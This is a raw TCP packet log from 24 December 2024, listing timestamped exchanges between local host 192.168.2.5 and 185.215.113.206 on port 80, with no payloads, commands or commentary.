Dec 24, 2024 12:39:51.958712101 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.958808899 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.965107918 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.965168953 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.965197086 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.965241909 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.973495007 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.973583937 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.973633051 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.973685026 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.981867075 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.981920004 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.981966972 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.982033968 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.990284920 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.990376949 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.990454912 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:51.998625040 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.998749018 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:51.998810053 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.006901026 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.006961107 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.007015944 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.007076979 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.012389898 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.012482882 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.012522936 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.012594938 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.020107031 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.020162106 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.020207882 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.020260096 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.028007030 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.028059959 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.028095961 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.028167963 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.076630116 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.076766968 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.076829910 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.079536915 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.079642057 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.080545902 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.080596924 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.080645084 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.080813885 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.086409092 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.086464882 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.086505890 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.086549044 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.092329979 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.092376947 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.092456102 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.092550993 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.098042965 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.098092079 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.098179102 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.098217964 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.103888988 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.103940010 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.103984118 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.106942892 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.109704971 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.109848976 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.109884024 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.109884024 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.115626097 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.115664959 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.115768909 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.115818024 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.121351957 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.121398926 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.121515989 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.121561050 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.127223969 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.127273083 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.127317905 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.127428055 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.132241011 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.132307053 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.149939060 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.150011063 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.150089979 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.150840998 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.150902987 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.150986910 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.152445078 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.152509928 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.152565002 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.154958010 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.154975891 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.155030966 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.157980919 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.158209085 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.158257008 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.161250114 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.161323071 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.161338091 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.161458969 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.164519072 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.164580107 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.164624929 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.164846897 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.167809010 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.167869091 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.167898893 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.167973995 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.171092033 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.171143055 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.171188116 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.171242952 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.174345970 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.174411058 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.174458981 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.174514055 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.177665949 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.177725077 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.177737951 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.177783966 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.180980921 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.180999041 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.181039095 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.181056976 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.199275970 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.199331045 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.199331045 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.199390888 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.200911045 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.200963974 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.201040030 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.201095104 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.204262972 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.204317093 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.268634081 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.268728018 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.268735886 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.268779993 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.270164967 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.270236969 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.270241976 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.270288944 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.273315907 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.273371935 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.273391962 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.273437023 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.276372910 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.276424885 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.276509047 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.276561975 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.279439926 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.279490948 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.279537916 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.279582024 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.282502890 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.282547951 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.282592058 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.282650948 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.285552025 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.285604000 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.285672903 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.285717010 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.288309097 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.288360119 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.288495064 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.288543940 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.291023970 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.291106939 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.291268110 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.291317940 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.293715954 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.293765068 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.293817043 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.293883085 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.296416044 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.296471119 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.296572924 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.296617985 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.298799038 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.298847914 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.298978090 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.299027920 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.301315069 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.301362038 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.301434040 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.301481962 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.304009914 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.304069996 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.304152966 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.304198027 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.306168079 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.306227922 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.306266069 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.306308985 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.308464050 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.308516026 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.321065903 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.321119070 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.321145058 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.321187973 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.338407993 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.338524103 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.338620901 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.339348078 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.339374065 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.339426994 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.339452028 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.341173887 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.341228962 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.341440916 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.341495991 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.343004942 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.343056917 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.343132019 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.343178034 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.344774008 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.344830990 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.344885111 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.344937086 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.346592903 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.346643925 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.346724033 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.346772909 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.348434925 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.348491907 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.348563910 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.348612070 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.350204945 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.350266933 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.350274086 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.350306034 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.352005959 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.352046967 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.352092028 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.352143049 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.353883982 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.353933096 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.354032993 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.354079008 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.355745077 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.355798006 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.355814934 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.355864048 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.357724905 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.357777119 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.357871056 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.357975960 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.359987974 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.360003948 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.360038996 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.360054016 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.361841917 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.361911058 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.361944914 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.361989021 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.363339901 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.363389015 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.363740921 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.363804102 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.365104914 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.365158081 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.365205050 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.365256071 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.366833925 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.366883039 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.366929054 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.366978884 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.368424892 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.368480921 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.368518114 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.368566036 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.370101929 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.370151997 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.370201111 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.370248079 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.371961117 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.372021914 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.372026920 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.372071981 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.373625994 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.373673916 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.390885115 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.390943050 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.390953064 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.390995979 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.391815901 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.391833067 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.391866922 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.391881943 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.393546104 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.393588066 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.393635988 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.393682957 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.395498991 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.395546913 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.395592928 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.395637035 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.397440910 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.397485971 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.397655010 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.397705078 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.460654974 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.460709095 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.460802078 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.460856915 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.461615086 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.461663008 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.461911917 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.461957932 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.463370085 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.463421106 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.463458061 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.463506937 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.465384007 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.465430975 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.465434074 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.465480089 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.467103004 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.467149019 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.467192888 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.467238903 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.468839884 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.468913078 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.468924999 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.468971968 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.470638037 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.470694065 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.470741034 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.470791101 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.472408056 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.472459078 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.472501040 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.472551107 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.474302053 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.474323988 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.474349976 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.474364996 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.476022959 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.476079941 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.476119995 CET	80	49773	185.215.113.206	192.168.2.5
Dec 24, 2024 12:39:52.476166964 CET	49773	80	192.168.2.5	185.215.113.206
Dec 24, 2024 12:39:52.477850914 CET	80	49773	185.215.113.206	192.168.2.5
